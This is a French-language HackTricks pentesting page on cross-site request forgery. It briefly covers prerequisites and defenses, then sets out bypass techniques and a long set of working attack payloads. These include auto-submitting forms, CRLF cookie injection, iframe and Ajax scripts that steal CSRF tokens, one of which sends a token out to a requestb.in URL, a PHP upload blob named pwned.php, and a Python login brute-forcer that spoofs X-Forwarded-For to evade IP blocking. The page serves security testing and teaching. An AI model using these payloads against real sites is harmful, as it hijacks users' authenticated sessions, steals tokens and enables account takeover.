CSRF (Cross Site Request Forgery)

Reading time: 19 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cross-Site Request Forgery (CSRF) expliqué

Cross-Site Request Forgery (CSRF) est un type de vulnĂ©rabilitĂ© de sĂ©curitĂ© prĂ©sent dans les applications web. Elle permet Ă  des attaquants d'exĂ©cuter des actions au nom d'utilisateurs non mĂ©fiants en exploitant leurs sessions authentifiĂ©es. L'attaque s'exĂ©cute lorsqu'un utilisateur, connectĂ© Ă  la plateforme de la victime, visite un site malveillant. Ce site dĂ©clenche alors des requĂȘtes vers le compte de la victime via des mĂ©thodes telles que l'exĂ©cution de JavaScript, la soumission de formulaires, ou le chargement d'images.

Conditions préalables pour une attaque CSRF

Pour exploiter une vulnĂ©rabilitĂ© CSRF, plusieurs conditions doivent ĂȘtre rĂ©unies :

  1. Identify a Valuable Action : L'attaquant doit trouver une action intéressante à exploiter, comme changer le mot de passe de l'utilisateur, son email, ou élever ses privilÚges.
  2. Session Management : La session de l'utilisateur doit ĂȘtre gĂ©rĂ©e uniquement via des cookies ou l'en-tĂȘte HTTP Basic Authentication, car d'autres en-tĂȘtes ne peuvent pas ĂȘtre manipulĂ©s Ă  cette fin.
  3. Absence of Unpredictable Parameters : La requĂȘte ne doit pas contenir de paramĂštres imprĂ©visibles, car ceux-ci peuvent empĂȘcher l'attaque.

Vérification rapide

Vous pouvez capturer la requĂȘte dans Burp et vĂ©rifier les protections CSRF et, pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vĂ©rifier la requĂȘte :

Se défendre contre CSRF

Plusieurs contre-mesures peuvent ĂȘtre mises en place pour se protĂ©ger contre les attaques CSRF :

  • SameSite cookies: Cet attribut empĂȘche le navigateur d'envoyer les cookies avec des requĂȘtes cross-site. More about SameSite cookies.
  • Cross-origin resource sharing: La politique CORS du site victime peut influencer la faisabilitĂ© de l'attaque, surtout si l'attaque nĂ©cessite de lire la rĂ©ponse du site victime. Learn about CORS bypass.
  • User Verification : Demander le mot de passe de l'utilisateur ou la rĂ©solution d'un captcha peut confirmer l'intention de l'utilisateur.
  • Checking Referrer or Origin Headers : Valider ces en-tĂȘtes peut aider Ă  s'assurer que les requĂȘtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vĂ©rifications mal implĂ©mentĂ©es, par exemple :
    • Using http://mal.net?orig=http://example.com (l'URL se termine par l'URL de confiance)
    • Using http://example.com.mal.net (l'URL commence par l'URL de confiance)
  • Modifying Parameter Names : Modifier les noms des paramĂštres dans les requĂȘtes POST ou GET peut aider Ă  prĂ©venir des attaques automatisĂ©es.
  • CSRF Tokens : Incorporer un token CSRF unique par session et exiger ce token dans les requĂȘtes suivantes peut significativement rĂ©duire le risque de CSRF. L'efficacitĂ© du token peut ĂȘtre renforcĂ©e en appliquant CORS.

Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.

Contournement des défenses

From POST to GET (method-conditioned CSRF validation bypass)

Certaines applications n'appliquent la validation CSRF que sur les requĂȘtes POST tout en l'ignorant pour d'autres verbes. Un anti-pattern courant en PHP ressemble Ă  :

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Si l'endpoint vulnĂ©rable accepte aussi des paramĂštres depuis $_REQUEST, vous pouvez réémettre la mĂȘme action en tant que requĂȘte GET et omettre entiĂšrement le token CSRF. Cela convertit une action POST-only en une action GET qui rĂ©ussit sans token.

Exemple:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Remarques:

  • Ce pattern apparaĂźt frĂ©quemment conjointement avec du XSS rĂ©flĂ©chi lorsque les rĂ©ponses sont servies incorrectement en tant que text/html au lieu de application/json.
  • Associer cela avec du XSS rĂ©duit fortement les barriĂšres d'exploitation parce que vous pouvez fournir un unique lien GET qui dĂ©clenche Ă  la fois le chemin de code vulnĂ©rable et Ă©vite complĂštement les vĂ©rifications CSRF.

Absence de token

Les applications peuvent implémenter un mécanisme pour valider les tokens lorsqu'ils sont présents. Cependant, une vulnérabilité apparaßt si la validation est totalement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramÚtre qui contient le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).

Le token CSRF n'est pas lié à la session utilisateur

Les applications qui ne lient pas les tokens CSRF aux sessions utilisateur présentent un risque de sécurité significatif. Ces systÚmes vérifient les tokens contre une pool globale plutÎt que de s'assurer que chaque token est lié à la session initiatrice.

Voici comment les attaquants exploitent cela :

  1. S'authentifier en utilisant leur propre compte.
  2. Obtenir un token CSRF valide depuis la pool globale.
  3. Utiliser ce token dans une attaque CSRF contre une victime.

Cette vulnĂ©rabilitĂ© permet aux attaquants d'effectuer des requĂȘtes non autorisĂ©es au nom de la victime, en tirant parti du mĂ©canisme de validation des tokens insuffisant de l'application.

Contournement de la méthode

Si la requĂȘte utilise une mĂ©thode "bizarre", vĂ©rifiez si la fonctionnalitĂ© de mĂ©thode override fonctionne. Par exemple, si elle utilise un PUT vous pouvez essayer d'utiliser un POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT

Cela peut aussi fonctionner en envoyant le paramĂštre _method dans une requĂȘte POST ou en utilisant les en-tĂȘtes :

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Contournement du token via en-tĂȘte personnalisĂ©

Si la requĂȘte ajoute un custom header avec un token Ă  la requĂȘte comme mĂ©thode de protection CSRF, alors :

  • Testez la requĂȘte sans le token personnalisĂ© ni l'en-tĂȘte.
  • Testez la requĂȘte avec un token diffĂ©rent mais de la mĂȘme longueur exacte.

Les applications peuvent implĂ©menter une protection CSRF en dupliquant le token Ă  la fois dans un cookie et dans un paramĂštre de requĂȘte ou en dĂ©finissant un CSRF cookie et en vĂ©rifiant si le token envoyĂ© au backend correspond au cookie. L'application valide les requĂȘtes en vĂ©rifiant si le token dans le paramĂštre de la requĂȘte correspond Ă  la valeur du cookie.

Cependant, cette méthode est vulnérable aux attaques CSRF si le site présente des failles permettant à un attaquant d'installer un CSRF cookie dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en initiant l'attaque CSRF.

Ci-dessous un exemple de la maniĂšre dont une attaque pourrait ĂȘtre structurĂ©e :

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Notez que si le csrf token est liĂ© au session cookie cette attaque ne fonctionnera pas car vous devrez dĂ©finir la session de la victime sur la vĂŽtre, et donc vous vous attaquerez vous‑mĂȘme.

Changement de Content-Type

Selon this, afin d'Ă©viter les requĂȘtes preflight en utilisant la mĂ©thode POST, voici les valeurs Content-Type autorisĂ©es :

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Cependant, notez que la logique du serveur peut varier en fonction du Content-Type utilisé, donc vous devriez essayer les valeurs mentionnées ainsi que d'autres comme application/json, text/xml, application/xml.

Exemple (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Contourner les Preflight Requests pour les données JSON

Lorsque vous tentez d'envoyer des donnĂ©es JSON via une requĂȘte POST, utiliser Content-Type: application/json dans un formulaire HTML n'est pas directement possible. De mĂȘme, utiliser XMLHttpRequest pour envoyer ce type de contenu dĂ©clenche un preflight request. NĂ©anmoins, il existe des stratĂ©gies pour potentiellement contourner cette limitation et vĂ©rifier si le serveur traite les donnĂ©es JSON indĂ©pendamment du Content-Type :

  1. Use Alternative Content Types : Employez Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded en définissant enctype="text/plain" dans le form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
  2. Modify Content Type : Pour Ă©viter un preflight request tout en s'assurant que le serveur reconnaĂźt le contenu comme JSON, vous pouvez envoyer les donnĂ©es avec Content-Type: text/plain; application/json. Cela n'entraĂźne pas de preflight request mais peut ĂȘtre traitĂ© correctement par le serveur s'il est configurĂ© pour accepter application/json.
  3. SWF Flash File Utilization : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à this post.

Referrer / Origin check bypass

Avoid Referrer header

Les applications peuvent valider le header 'Referer' uniquement lorsqu'il est prĂ©sent. Pour empĂȘcher un navigateur d'envoyer cet en-tĂȘte, la balise meta HTML suivante peut ĂȘtre utilisĂ©e :

xml
<meta name="referrer" content="never">

Cela garantit que l'en-tĂȘte 'Referer' est omis, contournant potentiellement les contrĂŽles de validation dans certaines applications.

Contournements Regexp

URL Format Bypass

Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramÚtres vous pouvez faire:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Contournement de la méthode HEAD

La premiĂšre partie de this CTF writeup explique que d'aprĂšs Oak's source code, un router est configurĂ© pour traiter les requĂȘtes HEAD comme des requĂȘtes GET sans corps de rĂ©ponse — un contournement courant qui n'est pas propre Ă  Oak. PlutĂŽt que d'avoir un handler spĂ©cifique qui s'occupe des requĂȘtes HEAD, elles sont simplement remises au handler GET mais l'app supprime le corps de la rĂ©ponse.

Donc, si une requĂȘte GET est limitĂ©e, vous pouvez simplement envoyer une requĂȘte HEAD qui sera traitĂ©e comme une requĂȘte GET.

Exemples d'exploitation

Exfiltration du CSRF token

Si un CSRF token est utilisé comme défense, vous pouvez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité Dangling Markup.

GET en utilisant des balises HTML

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

D'autres balises HTML5 qui peuvent ĂȘtre utilisĂ©es pour envoyer automatiquement une requĂȘte GET sont :

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

RequĂȘte GET via formulaire

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

RequĂȘte POST de formulaire

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

RequĂȘte POST d'un formulaire via iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

RequĂȘte Ajax POST

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

RequĂȘte POST multipart/form-data

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data requĂȘte POST v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

RequĂȘte POST d'un formulaire depuis un iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Voler CSRF Token et envoyer une requĂȘte POST

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Voler le CSRF Token et envoyer une requĂȘte POST en utilisant un iframe, un formulaire et Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Voler le CSRF Token et envoyer une requĂȘte POST en utilisant un iframe et un form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Voler le token et l'envoyer en utilisant 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token avec Ajax et envoyer un post via un formulaire

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF avec Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Le code peut ĂȘtre utilisĂ© pour Brut Force un formulaire de connexion en utilisant un CSRF token (Il utilise Ă©galement l'en-tĂȘte X-Forwarded-For pour tenter de contourner un Ă©ventuel IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Outils

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks